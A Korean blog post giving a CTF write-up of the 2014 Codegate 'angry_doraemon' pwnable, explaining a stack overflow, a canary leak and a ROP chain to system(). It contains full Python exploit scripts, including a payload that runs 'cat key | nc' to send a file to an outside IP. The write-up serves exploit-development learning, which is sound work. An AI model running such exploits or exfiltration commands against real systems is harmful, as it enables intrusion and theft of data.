[2014 Codegate] angry_doraemon

Posted by Hide­
2016.07.07 01:04 CTF(pwnable)

로컬에 doraemon.txt / bread.txt / mouse.txt 있어야 문제가 제대로 돌아간다.


환경은 Ubuntu 14.04 를 이용했다. 문제를 로컬에서 실행시키면 8888번 포트를 통해서 돌아간다.


이런저런 루틴을 거쳐서 sub_8049201 함수로 들어가게 되는데 아이다로 까보면 아래와 같다.





이 중 sub_8048fc6 함수(4. Throw mouse 메뉴)에서 오버플로우가 발생한다.





buf 크기는 4byte인데 110byte를 read 한다. 그리고 if((BYTE)buf == 121) y인지 확인하고 맞다면


사용자의 입력값을 출력해주는데 이 부분을 통해 카나리를 leak 하고 rop하면 된다.


sprintf는 buf를 출력해줄 때 NULL을 만날때까지 출력해주기 때문에 카나리의 첫바이트까지


덮어주면 NULL 바이트가 사라지고 그대로 출력. 즉 카나리를 leak 시킬 수 있다.


buf가 sp+22h 에 있고 카나리가 sp+2Ch에 있다. 둘의 거리차이는 10이므로 10바이트 이후부터의 입력값이


카나리를 덮는다. buf(10byte) | canary(4byte)


아래의 코드를 통해 leak 시켰다.


[ leak.py ]

from struct import *

from socket import *

import time


p = lambda x:pack("<L", x)

up = lambda x:unpack("<L", x)[0]

s = socket(AF_INET, SOCK_STREAM)

s.connect(("localhost", 8888))


print "[*] START"

s.recv(1024)

s.recv(1024)

s.send("4\n")

s.recv(1024)

time.sleep(0.5)

s.send("y"+"a"*10)

canary = s.recv(1024)

canary = "\x00"+canary.split("y"+"a"*10)[1][:3]

print "[*] CANARY = "+str(hex(up(canary)))

s.close()





fork로 돌아가기 때문에 카나리값은 고정이다. 이제 간단하게 rop시키면 된다. 



[exploit]


from socket import *

from struct import *

import time


p = lambda x:pack("<L", x)

up = lambda x:unpack("<L", x)[0]

canary = p(0x4717c900)

write_plt = p(0x080486e0)

write_got = p(0x0804b040)

read_plt = p(0x08048620)

read_got = p(0x0804b010)

bss = p(0x0804b080)

pppr = p(0x08048b2c)

cmd = "cat key | nc 192.168.46.1 7575"

offset = 0x9b3e0


s = socket(AF_INET, SOCK_STREAM)

s.connect(("192.168.52.128", 8888))


payload = "y" * 10

payload += canary

payload += "a" * 12

payload += write_plt

payload += pppr

payload += p(4)

payload += write_got

payload += p(4)


s.recv(1024)

s.recv(1024)

s.send("4\n")

s.recv(1024)

time.sleep(0.5)

s.recv(1024)

print "[*] SEND PAYLOAD"

s.send(payload)

write_libc = up(s.recv(1024))

system = write_libc - offset

print "[*] WRITE LIBC = "+hex(write_libc)

print "[*] SYSTEM LIBC = "+hex(system)

s.close()


s = socket(AF_INET, SOCK_STREAM)

s.connect(("192.168.52.128", 8888))

s.recv(1024)

s.recv(1024)

s.send("4\n")

s.recv(1024)

time.sleep(0.5)

s.recv(1024)

print "[*] SEND PAYLOAD"


payload = ""

payload += "y" * 10

payload += canary

payload += "a" * 12

payload += read_plt

payload += pppr

payload += p(4)

payload += bss

payload += p(len(cmd))

payload += p(system)

payload += "aaaa"

payload += bss


s.send(payload+"\n")

s.send(cmd)

s.recv(1024)

s.close()

print "[*] END"






다른 사람들이 많이 읽은 글

'CTF(pwnable)' 카테고리의 다른 글

[2014 Codegate] angry_doraemon  (0) 2016.07.07
2013 pctf ropasaurusrex  (0) 2015.09.23
이 댓글을 비밀 댓글로

티스토리 툴바